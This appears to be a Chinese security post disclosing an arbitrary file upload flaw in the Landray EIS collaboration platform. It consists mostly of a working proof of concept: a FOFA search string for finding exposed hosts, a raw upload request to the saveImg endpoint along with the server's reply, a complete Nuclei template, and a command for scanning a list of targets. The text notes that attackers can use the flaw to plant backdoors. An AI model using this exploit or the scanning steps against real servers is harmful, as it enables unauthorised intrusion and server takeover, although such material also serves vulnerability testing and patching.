【在野1day】蓝凌EIS智慧协同平台任意文件上传（附POC）

icon_hash="953405444"

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: x.x.x.x:xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Length: 197Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu------WebKitFormBoundaryxdgaqmquContent-Disposition: form-data; name="file"filename="icfitnya.txt"Content-Type: text/htmljmnqjfdsupxgfidopeixbgsxbf------WebKitFormBoundaryxdgaqmqu--

HTTP/1.1 200 OKConnection: closeContent-Length: 63Cache-Control: privateContent-Type: text/html; charset=utf-8Date: Thu, 19 Oct 2023 03:20:55 GMTServer: Microsoft-IIS/8.5Set-Cookie: ASP.NET_SessionId=itppbirculyawf55j224de55; path=/; HttpOnlyX-Aspnet-Version: 2.0.50727X-Powered-By: ASP.NET/files/editor_img/20231019112066058989/20231019112055073649.txt

id: landray-eis-saveimg-fileuploadinfo:  name: 蓝凌eis智慧协同平台任意文件上传  author: fgz  severity: critical  tags: landray,fileupload  description: |    蓝凌eis智慧协同平台是由深圳市微达软件有限公司开发的用于企业在知识，协同，项目管理等场景的OA系统。其存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。  metadata:    max-request: 3    fofa-query: icon_hash="953405444"    hunter-query:    verified: truevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}.txt"  file_content: "{{to_lower(rand_text_alpha(26))}}"http:  - raw:      - |        POST /eis/service/api.aspx?action=saveImg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu        ------WebKitFormBoundaryxdgaqmqu        Content-Disposition: form-data; name="file"filename="{{file_name}}"        Content-Type: text/html        {{file_content}}        ------WebKitFormBoundaryxdgaqmqu--      - |        GET {{file_name2}} HTTP/1.1        Host: {{Hostname}}    req-condition: true    extractors:      - type: kval        name: file_name2        internal: true        kval:          - body    matchers:      - type: word        words:          - "{{file_content}}"        part: body

.nuclei.exe -t .2023landray-eis-saveimg-fileupload.yaml -l .1.txt -me result